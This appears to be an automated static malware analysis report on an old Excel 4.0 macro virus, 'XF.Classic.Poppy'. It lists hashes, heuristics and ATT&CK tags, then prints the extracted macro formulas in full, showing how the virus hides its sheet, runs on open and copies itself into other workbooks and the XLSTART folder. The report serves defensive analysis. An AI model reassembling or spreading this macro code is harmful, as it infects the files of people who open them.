Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6636b76beb2cbb39…

MALICIOUS

Office (OLE)

27.0 KB First seen: 2015-09-21
MD5: 354c500c7e81b9e15365c1a251c57e10 SHA-1: 8923de7f91b178bdbd7ef1ae0b16c13ab0292a34 SHA-256: 6636b76beb2cbb39ab3ba7e3658f918ab744414bfc738b85da907402b2f3cb6e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel 4.0 macro sheet containing an Auto_Open macro, identified by multiple critical heuristics. The embedded script and document body indicate the macro's purpose is to infect other workbooks, specifically saving itself as 'Book1.xls', and contains references to 'Poppy' and 'The Narkotic Network', suggesting it's a variant of a known macro virus. The presence of Auto_Open and dangerous formula APIs like RUN points to direct execution of malicious code.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 9699 bytes
SHA-256: 439b92b5a6f332179344c2280626e8ba8634acac80db769b6836bac3a67e60bc
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  ¥
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     24 LABEL : Cell Value, String Constant - aa len=7 ptgRef3d 5!C39 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 6!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 6!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 6!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 6!C9 
' 0018     97 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x004v\xae\x03'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 6!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 6!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 6!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 6!C27 
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 6 ? len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x01\x00&\x00\x00\x00\x03\x00'
' 0018     39 LABEL : Cell Value, String Constant - Print_Area_MI len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x00\x00[\x00\x00\x00\r\x00'
' 0018     30 LABEL : Cell Value, String Constant -  JSŸ len=7 *UNKNOWN TOKEN* 0x0071 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc3~\xe5]:\x01'
' 0018     30 LABEL : Cell Value, String Constant -  ¥ len=11 ptgFuncVarA args 104 func *UNKNOWN FUNCTION* (0x3b88) *UNKNOWN TOKEN* 0x0000 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x14\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant -  ؚ len=7 *UNKNOWN TOKEN* 0x00a7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'~\xe5]:\x01\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 ptgSub *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b"<\x04\x00''"
' 0018     34 LABEL : Cell Value, String Constant -  üÈÝЬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     34 LABEL : Cell Value, String Constant -   Ìl­¬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     26 LABEL : Cell Value, String Constant -  n len=7 ptgMemAreaA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe5]:\x01\x00\x05'
' 0018     28 LABEL : Cell Value, String Constant -  Ÿq len=7 *UNKNOWN TOKEN* 0x00c3 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'~\xe5]:\x01\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 *UNKNOWN TOKEN* 0x0034 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'l:\x01\x00O\x01'
' 0018     30 LABEL : Cell Value, String Constant -  •b  len=7 ptgMemNoMemA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xf6e\xf4\x95:\x01'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

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